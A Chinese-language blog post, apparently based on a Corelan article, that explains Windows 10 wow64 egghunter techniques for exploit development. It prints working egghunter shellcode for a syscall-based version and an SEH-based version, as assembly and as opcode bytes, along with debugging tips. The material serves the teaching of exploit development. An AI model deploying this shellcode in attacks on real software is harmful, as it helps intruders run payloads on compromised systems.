Windows 10 Egghunter技术深度解析

本文详细介绍了Windows 10环境下的Egghunter技术,包括基于系统调用和结构化异常处理的两种实现方法,探讨了在wow64环境中的技术挑战和解决方案,并提供了完整的汇编代码和调试技巧。

Windows 10 Egghunter (wow64) 技术解析

引言

我必须承认,我一直对egghunter技术很感兴趣。这并不意味着我喜欢随意使用egghunter,事实上,我认为应该尽量避免使用egghunter,因为它们往往会减慢运行速度。但我一直对在不使进程崩溃的情况下搜索内存的技术很着迷。

Corelan Team回来了,这是我近3年来的第一篇技术文章。最近我离开了日常工作,创立了"Corelan Consulting"公司,专注于漏洞利用开发培训和网络安全咨询。

Windows 10 Egghunter挑战

在构建2019版Corelan Bootcamp并更新Windows 10材料时,我发现Lincoln编写的Windows 7 wow64 egghunter在Windows 10上不再工作。这是因为微软在每个主要Windows版本中都会更改系统调用号。

系统调用及其编号在https://j00ru.vexillium.org/syscalls/nt/64/上有文档记录。

Windows 10 Wow64 Egghunter

Lincoln经过调试后为Windows 10制作了可用的版本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"\x33\xD2"              # XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F"  # OR DX,0FFF
"\x33\xDB"              # XOR EBX,EBX
"\x42"                  # INC EDX
"\x52"                  # PUSH EDX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x6A\x29"              # PUSH 29 (system call 0x29)
"\x58"                  # POP EAX
"\xB3\xC0"              # MOV BL,0C0
"\x64\xFF\x13"          # CALL DWORD PTR FS:[EBX]
"\x83\xC4\x10"          # ADD ESP,0x10
"\x5A"                  # POP EDX
"\x3C\x05"              # CMP AL,5
"\x74\xE3"              # JE SHORT
"\xB8\x77\x30\x30\x74"  # MOV EAX,74303077
"\x8B\xFA"              # MOV EDI,EDX
"\xAF"                  # SCAS DWORD PTR ES:[EDI]
"\x75\xDE"              # JNZ SHORT
"\xAF"                  # SCAS DWORD PTR ES:[EDI]
"\x75\xDB"              # JNZ SHORT
"\xFF\xE7"              # JMP EDI

可以使用mona.py生成此egghunter:!mona egg -wow64 -winver 10

基于异常处理的Egghunter

我在想:是否可以使用不同的技术来使egghunter工作,而不使用系统调用?

异常处理机制

当操作系统看到异常并决定将其传递给进程中的相应线程时,它将指示ntdll.dll中的一个函数在该线程内启动异常处理机制。此例程将检查偏移量0处的TEB(通过FS:[0]访问),并检索堆栈上异常处理链中最顶层记录的地址。

每个记录包含2个字段:

1
2
3
4
struct EXCEPTION_REGISTRATION {
   EXCEPTION_REGISTRATION *nextrecord; // 指向下一条记录的指针
   DWORD handler; // 指向处理程序函数的指针
};

SEH Based Egghunter代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
; Universal SEH based egg hunter (x86 and wow64)
[BITS 32]
CALL $+4
RET
POP ECX
ADD ECX,0x1d

; 设置SEH记录
XOR EBX,EBX
PUSH ECX
PUSH ECX
PUSH 0x90c3585c
PUSH 0x44444444     ; 替换为P/P/R地址
PUSH 0x04EB5858
MOV DWORD [FS:EBX],ESP

JMP nextpage

handle:
    SUB ESP,0x14
    XOR EBX,EBX
    MOV DWORD [FS:EBX],ESP
    MOV EDX, [ESP+24]
    INC EDX

nextpage:
    OR DX, 0x0FFF
    INC EDX
    MOV [ESP+24], EDX
    MOV EAX, 0x74303077
    MOV EDI, EDX
    SCASD
    JNZ nextpage+5
    SCASD
    JNZ nextpage+5
    JMP EDI

操作码格式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
egghunter = ("\xe8\xff\xff\xff\xff\xc3\x59\x83"
"\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
"\x58\xc3\x90\x68")

egghunter += "\x??\x??\x??\x??" # 替换为pop/pop/ret指针

egghunter += ("\x68\x58\x58\xeb\x04\x64\x89\x23"
"\xeb\x0d\x83\xec\x14\x31\xdb\x64"
"\x89\x23\x8b\x54\x24\x24\x42\x66"
"\x81\xca\xff\x0f\x42\x89\x54\x24"
"\x24\xb8\x77\x30\x30\x74\x89\xd7"
"\xaf\x75\xf1\xaf\x75\xee\xff\xe7")

调试技巧

在调试egghunter时,你会注意到在执行系统调用期间会发生访问违规。这些访问违规可以安全地通过,并由操作系统处理。

在Immunity Debugger中,可以通过以下方式配置异常处理:

  • 点击"debugging options",打开"exceptions"选项卡
  • 在"Add range"下添加以下十六进制值:
    • 0xC0000005 - ACCESS VIOLATION
    • 0x80000001 - STATUS_GUARD_PAGE_VIOLATION

调试完成后,不要忘记删除这两个异常。

结论

本文介绍了两种在Windows 10环境下工作的egghunter技术:基于系统调用的传统方法和基于结构化异常处理的新方法。这些技术对于在受限环境中进行漏洞利用开发具有重要意义。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计